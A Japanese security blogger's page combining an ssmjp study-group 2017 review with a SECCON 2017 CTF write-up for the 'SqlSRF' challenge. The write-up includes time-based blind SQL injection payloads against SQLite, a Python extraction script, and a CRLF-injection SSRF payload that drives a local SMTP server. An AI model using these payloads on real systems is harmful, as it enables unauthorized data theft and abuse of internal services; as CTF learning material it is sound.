結構お手軽そうなので、やったことない人達限定で、小規模なCTFイベントとかやっても良さそうですねw

ということで、今回、OWASP Juice Shopを紹介してみました。 Webアプリケーションの脆弱性を体験してみたい方などにはおすすめかと思いますので一度試してみてはいかがでしょうか?

ssmjp2017 ~今年一年の振り返り~

この記事は#ssmjp Advent Calendar 2017の記事になります。
昨日は Typhon666_deathさん。明日は、ockeghem さんになります。

いやー今年ももうすぐ終わりですね。
最初に書いておきますが、今回の記事では全然技術的な話とかはありません。 私が運営メンバーの一人であるIT勉強会ssmjpについて書かせていただこうと思います。

さて、昨日12/12に今年最後のssmjpを開催いたしました!
2017年12月の#ssmjp〜はたのさん祭〜のお知らせ – ssmjp Infomation

今年最後は運用勉強会らしく、波田野さんの素晴らしい運用のお話にて締めることができました。
特に、運用自動化に関するお話は、セキュリティクラスタの自分にも色々刺さるお話しだったので、非常に興味深かったです。

そして、最後の懇親会の最中に、毎年恒例のおまけセッションである「ssmjp 今年一年の振り返り」をやられていただきました。
宜しければご覧ください!

speakerdeck.com

このまとめスライドは、なんだかんだで作るのにそこそこ時間がかかってます(作るにあたって、今年のtwitterまとめとか全部見直しました…)。
来年こそは、ちょこちょこ事前に準備して作っておこうとちょっと反省しています…。
まあ、あくまでおまけセッションという位置づけのものなのですが、当日は結構盛り上がった感じだったので作ったかいがありましたw

既に運営のjunjunさんが書かれているネタとかぶってしまうかもしれないですが、私も今年のssmjpを振り返ってみたいと思います。
私的2017年ssmjp重大ニュース - じゅんじゅんのはてぶろ

2017年の開催イベントについて

スライドにも記載していますが、今年は14回イベント開催しました。
ssmjp通常ルールである月一開催は、無事順守できたので本当に良かったです。
逆に6月と10月は月2回開催しており、例年より多くやっています。

  • 1月:うさたーんスペシャル~お前もGentooにしてやろうか(DMM.comラボ 株式会社)
  • 2月:通常回(三井物産セキュアディレクション株式会社)
  • 3月:feat. おいでよ日本openSUSEユーザ会の森(さくらインターネット研究所)
  • 4月:通常回(さくらインターネット株式会社)
  • 5月:通常回(DMM.comラボ 株式会社)
  • 6月:すみだセキュリティ勉強会とコラボスペシャル(LODGE at Yahoo!JAPAN)
  • 6月:通常回(DMM.comラボ 株式会社)
  • 7月:通常回(ソフトバンク株式会社)
  • 8月:祝ssmjp100回記念~100回目の延長戦~(DMM.comラボ 株式会社)
  • 9月:伸弘辻のすべらないLT(DMM.comラボ 株式会社)
  • 10月:キタガワナイトふたたび! WannaCryスペシャル!!(DMM.comラボ 株式会社)
  • 10月:通常回(グローバルセキュリティエキスパート株式会社)
  • 11月:通常回(ヒカ☆ラボ)
  • 12月:はたのさん祭り(ヒカ☆ラボ)

実はスペシャル回に相当するイベントは7回やっているんですね。
約半分もやっていたのかと、振り返っていてビックリしてしまいました。
色々やった一年でしたねー。

運営のおすすめLTについて

今年ssmjpにご登壇していただいた方のLTはどれも素晴らしかったのですが、その中でも運営メンバーがそれぞれ自分の中で、特にヒットしたおススメLTを選出してみようという企画を今回初めてやってみました!

ちなみに僕が選出したおすすめLTは以下の二つです。

米国のペネトレーションテスト事情(ソーシャルエンジニアリング・物理テスト編 )
Speaker:イシカワさん

アメリカで実際に行われているペネトレーションテストのお話しだったのですが、物理ハッキングの話が「そこまでやっていいの?」って感じで個人的に衝撃的でした。
質問も沢山でていた印象があります。

スライドも公開されています。
米国のペネトレーションテスト事情(ssmjp)

ブログも書かれていますね。
米国のペネトレーションテスト事情 - セキュリティコンサルタントの日誌から

冷凍ピザを解凍した話
Speaker:@YuhoKamedaさん

こちらについては「伸弘辻のすべらないLT」スペシャルの中で、亀田さんが話したLTでした。
多分今年のssmjpの中でダントツで一番笑いをとったLTだったのではないでしょうか。
僕も一緒に登壇していましたがお腹が痛かったですwww

資料公開はありませんが、よろしければ当日の模様のtwitterまとめをご覧くださいw
#ssmjp 2017/09「伸弘辻のすべらないLT」まとめ - Togetter

ぶっちゃけ他にも面白かったLTは沢山あって、選ぶのに苦労しましたが、個人的に特に印象に残っているこの二つを選ばせていただきました。

2017年のssmjp統計データ

開催数、LTの数、ジャンル内容、登壇率ランキングなどについてまとめさせていただきましたw

個人的には、ジャンルの集計が面白くて去年は「セキュリティ」と「運用」が多かったのですが、今年は「ノンジャンル」と「セキュリティ」が多いという結果でした。(運用勉強会とは…)

ジャンルに関しては運営側の独断と偏見で決めているってこともあるのですが、やはり今年はカオスなLTが多かったなあという印象ですw
ただ、どの方のLTも完成度が高く、皆さん自分の好きなことを楽しみながらLTをされていた印象があります。 そして、相変わらずセキュリティクラスタの侵攻が激しいですね(ちなみにセキュリティ回は二回開催しています)。

参加率ランキングでは、ari_さんとGreenShallotさんが当日のイベントにもいらっしゃったので、なんと皆勤賞でした!
いつもご参加いただき、本当にありがとうございます!
来年はなんか商品とか用意してもいいかもですねw

2018年最初のssmjpは?

昨日公開されましたが、来年1月のssmjpは新春大LT大会です。

2018年01月の#ssmjpのお知らせ – ssmjp Infomation

ssmjpには珍しい5分きっかりで打ち切られる本当のライトニングトーク大会です。
5分LTということで、敷居も低くなっているのかと思いますので、あなたもssmjpでLTデビューをしませんか?
まだ若干登壇者募集中なので、しゃべりたい方は運営までご連絡ください!

まとめ

というわけで、2017年の登壇者様並びに、ご参加いただきました皆様本当にありがとうございました!
2018年もssmjpを引き続きよろしくお願いいたします!

そして、ここまで、このブログを読んでいてるにも関わらずssmjpに参加されたことがない貴方!(いらっしゃるのかな?w) 一度ssmjpに遊びに来てみませんか?大歓迎です!

How do you like #ssmjp?

SECCON 2017 Online CTFに参加しました

12/9~12/10に開催したSECCON 2017 Online CTFに参加いたしました! vulsというチームで参加して、最終結果は46位でした。 私はWeb問をメインで担当していました。

今回はちょっと日曜日に所用があったため、残念ながらフル参戦できなかったのですが、久々にオフラインで集まって、昨年と同じようにレッドブル片手にピザを食べながらCTFをやることができてすごく楽しかったです!
折角なので、少ないのですが私が解いた問題のWrite UPについて今回ブログに書こうかと思います。

SqlSRF (400 points)

今回私が解いたのは「SqlSRF」という問題です。 問題名からして、見た瞬間に多分SQLインジェクションとSSRFをさせる問題なんだろうなと推測しましたが、結果的にいうとその通りの問題でした。

問題には、以下のような記載があって、URLが記載されています。

The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.

flagを獲得するにはどうやらrootにメールを送らなければならないようですね。
記載されたURLにアクセスすると、以下のようにcgiが配置してあるディレクトリインデックスが表示されます。

f:id:tigerszk:20171210235143j:plain

「index.cgi」や「menu.cgi」にアクセスすると、以下のようにログイン画面が表示されます。

f:id:tigerszk:20171211015016j:plain

「index.cgi_backup20171129」にアクセスすると、以下のように「index.cgi」のソースコードが表示されます。

#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

43行目の以下の作成者の表記を見て、「今年も来たか…」と思わず気合がはいりました。
また、「色々一回転してとうとう〇ソ問というのを前面に押し出すようになったのか…」とか、「問題が公開された直後にアクセスできなかった時はさぞかし冷や汗ものだったのだろうなあ…」とか、色々なことが頭をよぎりつつ問題に取り組みました。

<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->

前半戦(SQLインジェクションのパート)

まず、着目するのは以下の部分でしょうか。

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

上記23行目のコードをみるとuserパラメータの値をSELECT文の中に思いっきり突っ込んでいるので、ここでSQLインジェクションできそうだなと推測できます。
またSELECT文を用いてusersテーブルからDB上のpasswordの値を取得していますね。

      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {

続いて上記28行目のコードをみると、ユーザが入力したpassパラメータの値を何かの方法で暗号化した後に、取得したDBの値と比較しているようです。
二つの値が一致した場合にログインさせるような実装となっています。
DBに格納されているパスワードの値は暗号化されているようですね。
また、この実装だと、単純にor文などをインジョクションしてもログインのバイパスはできそうもないですね。

  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

上記17行目のコードをみると「Remember Me」にチェックをいれてアクセスした際にセットされる、rememberというcookieの値を復号してユーザパラメータにセットしていることがわかります。
こちらの処理を利用すれば、暗号化された値を復号することができそうです。
というわけで、Blind SQLインジェクションを実行して、どうにか暗号化されたパスワードの値を引っこ抜ければ、ログインできるのではないかと推測がつきます。
では次にどうやって情報を引っこ抜くかですが、色々試した結果、SQLの構文として不成立な場合には「Database Error!」とのみ表示されるだけであり、SQL文の結果が真・偽でも一律「Login Error!」とのみ表示されるだけなので、エラー応答からのBlind SQLインジェクションは厳しそうなことが分かります。
というわけで、利用するのはTime-based SQLインジェクションなのかなと推測しました。
山崎さんの作問なので、別に自動的に分かるのですが、コード中にDBMSは「SQLite」を利用している記載があります。
SQLiteでのTime-based SQLインジェクションについてはよく知らなかったので、ちょっと調べてみると以下のサイトに情報がありました。

GitHub - unicornsasfuel/sqlite_sqli_cheat_sheet: A cheat sheet for attacking SQLite via SQLi

SQLiteでは、乱数を生成するrandomblob関数を利用して、Time-based SQLインジェクションをすることができるようです。
今回の問題でも例えば以下のような感じでパラメータを送信してやると、条件が真の場合にはレスポンスが遅くなるので、Time-based SQLインジェクションをできることを確認しました。

user=' or randomblob(200000000) and 'a'='a

とりあえず、ダメ元でSQLmapとかもかけてもみましたが、まあ案の定ダメだったので、あきらめておとなしくコードを書くことにいたしました。
引っこ抜くパスワードの文字長は以下のような値を送信した際に遅くなることから32文字であることが分かります。

user=' or length((select password from users limit 1 offset 0)) = 32 and randomblob(200000000) and 'a'='a

力技であんまり綺麗じゃないですが以下のようなコードを今回書いてみました。

# -*- coding: utf-8 -*-

import re
import requests
import sys
import time

def genQuery(i,j):
    
    query = "user=' or substr((select password from users limit 1 offset 0),"+str(i)+",1) = '"+str(j)+"' and randomblob(300000000) and 'a'='a&pass=test&login=Login"
    return query
    
def attack(url):
    encpass  = ""
    cmpchar = [chr(i) for i in range(97, 97+26)]
    cmpchar.extend([chr(i) for i in range(48, 48+10)])
    for i in range(1, 33):
        print (str(i)+":", end="")
        for j in cmpchar:
            payload = genQuery(i,j)
            start = time.time()
            res = requests.post(url, data=payload, verify=False)
            
            if (time.time() - start) > 2:
                print (j)
                encpass = encpass + j 
                break
            time.sleep(0.5)
    print(encpass)
        
def main():

    url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
    attack(url)
    
if __name__ == '__main__':
    main()

実行してやるとしばらく時間がかかりますが、暗号化されたパスワード文字列が以下であることが判明します。

d2f37e101c0e76bcc90b5634a5510f64

上記の値をrememberというcookieの値にセットしてアクセスしてあげると

f:id:tigerszk:20171211015154j:plain

以下のようなパスワードの値が判明しました。

Yes!Kusomon!!

この〇〇クリニックのような文字列を見た時に改めて、ちゃんと問題解けたら次の飲み会では「面白かったですよ」と言ってあげようと思いました。
useridをadminで、上記パスワードでログインしてあげるとログイン後のページに遷移します。

後半戦(SSRFのパート)

さて、ここまでがSQLインジェクションのパートで、後半はSSRFのパートです。
ログインをすると以下のような画面に遷移します。
f:id:tigerszk:20171211021023j:plain

画面には二つボタンが存在し、このボタンを押すことで「netstat」と「wget」のコマンドをサーバ側で実行することができるようになっていることが分かります。 f:id:tigerszk:20171211021417j:plain

netstatの実行結果

f:id:tigerszk:20171211021428j:plain

wgetの実行結果

以下の情報よりこの問題はSSRFを利用してサーバ側にメールを送信するんだろうなと推測しました。

  • flagを獲得するにはrootにメールを送る必要がある
  • サーバ側に25番ポートがListenしている
  • 問題名がモロそれ

wgetの送信パラメータに、以下のような値を指定してボタンを押すと

127.0.0.1:25

f:id:tigerszk:20171211022658j:plain

という風にメールサーバの応答結果が表示されることが確認できました。
で、次にどのようにこのメールサーバ対してコマンドを送信してやるかですが、そちらの手法に関しては、Black Hat USA 2017や今年のCODE BLUEでも発表があったOrange Tsaiさんの資料が超参考になります。

[https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

詳しくは上記の資料を読めば分かりますが、HTTPプロトコル中に改行コードをインジェクションさせることによって、SMTPプロトコルを操作する手法について記載があります。
上記資料ではwgetホスト部分にて改行コードの挿入が可能との記載がありましたので、試しに以下のような値を指定して送信してみると

127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0A:25

f:id:tigerszk:20171211024850j:plain

という風にSMTPプロトコルを操作できていることが確認できます。
というわけで、以下のようにroot宛にメールを送信するように文字列を細工してあげます。
問題文に書かれているようにちゃんとsubjectを"give me flag"としてやる必要があります。

127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0Amail%20from%3A%20tigerszk%40example.com%0D%0Arcpt%20to%3A%20root%40ymzk01.pwn%0D%0Adata%0D%0Asubject%3Agive%20me%20flag%0D%0A.%0D%0Aquit%0D%0A:25

f:id:tigerszk:20171211025555j:plain

メールサーバ側で正常処理されたような応答が返れば、fromに指定したメールアドレス宛に以下のような値が書かれたメールが届きます。

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

上記の値を前半戦でDBから引っこ抜いた値と同じようにrememberというcookieの値にセットしてアクセスしてあげると f:id:tigerszk:20171211030554j:plain

という風に見事以下のflagをゲットすることができました。

SECCON{SSRFisMyFriend!}

まとめ

まあ、実際はこんなポンポンいけたわけではなく、ウンウンうなりながらやった感じです。
特に後半戦のSSRFの部分では、ちょっと色々ハマってしまい、チーム内で相談したらチームのSuper CTFerの方にあっさり追い抜かれてしまい、「結構頑張ってここまでやったので、ちょっと僕に時間をください」と頼み込む醜態をさらしてしまったので、もうちょっと色々頑張ろうと思いましたw
ということで、今年も非常に楽しんでCTFをすることができました!
運営の方々本当にありがとうございました。

PS
山崎さん、楽しかったです!良問でしたよw